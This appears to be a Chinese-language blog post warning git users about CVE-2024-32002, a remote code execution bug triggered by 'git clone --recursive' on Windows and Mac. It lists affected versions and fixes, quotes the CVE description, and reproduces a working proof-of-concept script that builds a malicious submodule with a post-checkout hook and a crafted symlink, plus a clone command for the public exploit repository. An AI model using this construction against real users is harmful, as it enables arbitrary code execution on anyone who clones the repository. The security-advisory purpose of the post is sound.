各位用到git的,请注意CVE-2024-32002安全漏洞

解释几个缩写名词

  1. CVE CVE 是 Common Vulnerabilities and Exposures 的缩写,指的是通用漏洞与暴露(Common Vulnerabilities and Exposures),它是一个用于标识和跟踪计算机系统中的安全漏洞的标准化命名方案,每个 CVE 条目都包含一个唯一标识符(CVE ID),以及漏洞的描述、评分、影响范围等信息
  2. RCE RCE 是 Remote Code Execution 的缩写,指的是远程代码执行,这是一种安全漏洞,允许攻击者远程执行其自己的恶意代码或命令,通常是通过利用软件或系统中存在的漏洞来实现的,一旦攻击者成功利用了远程代码执行漏洞,他们就可以在受影响的系统上执行任意命令,从而获取对系统的控制权,这种漏洞可能导致严重的安全问题,包括数据泄露、系统瘫痪等
  3. PoC当人们提到 PoC 时,他们通常指的是一种技术或漏洞的 Proof of Concept,即在实际环境中演示或验证某种概念或理论的可行性,这意味着开发者或安全研究人员创建了一个小型程序、脚本或演示,以展示一个新的技术、漏洞或攻击的工作原理,这可以帮助其他人理解该技术或漏洞,并可能用于测试、改进或防御相关系统

– 受影响版本(只影响Windows和Mac系统版本)

- git 2.45.0
- git 2.44.0
- git 2.43.* < 2.43.4
- git 2.42.* < 2.42.2
- git 2.41.0
- git 2.40.* < 2.40.2
- git < 2.39.4

利用 CVE-2024-32002 漏洞:通过 git clone 进行 RCE 的操作
新版本(2.45.1) 应该是被修复了


新版 Git Latest source Release 2.45.1 Release Notes (2024-04-29) 目前最新版为 2.45.1,此链接只是Git官网首页


Click here to download the latest (2.45.1) 64-bit version of Git for Windows. This is the most recent maintained build. It was released 15 days ago, on 2024-05-14.


通过一个简单的git-clone命令触发RCE: 通过一个简单的git-clone命令触发RCE


PoC 验证 Windows And Mac

PoC execution 脚本:CVE-2024-32002: Exploiting Git RCE via git clone

git clone --recursive git@github.com:amalmurali47/git_rce.git

运行以上命令,就会弹出此系统的计算器,Windows 可能需要选择 管理员运行(我的版本低,没有成功运行此漏洞脚本,我的版本为:git version 2.31.1.windows.1

PoC execution on Windows
在这里插入图片描述
– – PoC execution on Mac
在这里插入图片描述

项目内的 create_poc.sh 脚本

#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
# post-checkout 钩子中,尝试打开 Windows的计算机程序calc.exe 以及 mac的计算机程序 EOF
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

措施

  • 该漏洞依赖 git clone --recursive 这种方式

  • 该漏洞依赖 macwindows 的文件系统中文件名大小写不敏感这个特性

  • Git 已发布修复版本,请升级至 2.45.12.44.12.43.42.42.22.41.12.40.22.39.4

CVE官网介绍 ID 32002 漏洞

CVE 2024 32002

NameDescription
CVE-2024-32002Git is a revision control system. Prior to versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule’s worktree but into a .git/ directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed. The problem has been patched in versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4. If symbolic link support is disabled in Git (e.g. via git config --global core.symlinks false), the described attack won’t work. As always, it is best to avoid cloning repositories from untrusted sources.
CVE-2024-32002Git是一个修订控制系统。在版本2.45.1、2.44.1、2.43.4、2.42.2、2.41.1、2.40.2 和 2.39.4 之前,带有子模块的存储库可以利用Git中的一个漏洞进行构建,从而被欺骗,将文件不是写入子模块的工作树,而是写入“.Git/”目录。这允许编写将在克隆操作仍在运行时执行的挂钩,从而使用户没有机会检查正在执行的代码。该问题已在版本2.45.1、2.44.1、2.43.4、2.42.2、2.41.1、2.40.2 和 2.39.4 中进行了修补。如果Git中禁用了符号链接支持(例如通过Git-config--global-core.symlinks-false),则所描述的攻击将不起作用。一如既往,最好避免从不受信任的来源克隆存储库
  • 26
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

星光菌子

你真是个富哥

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值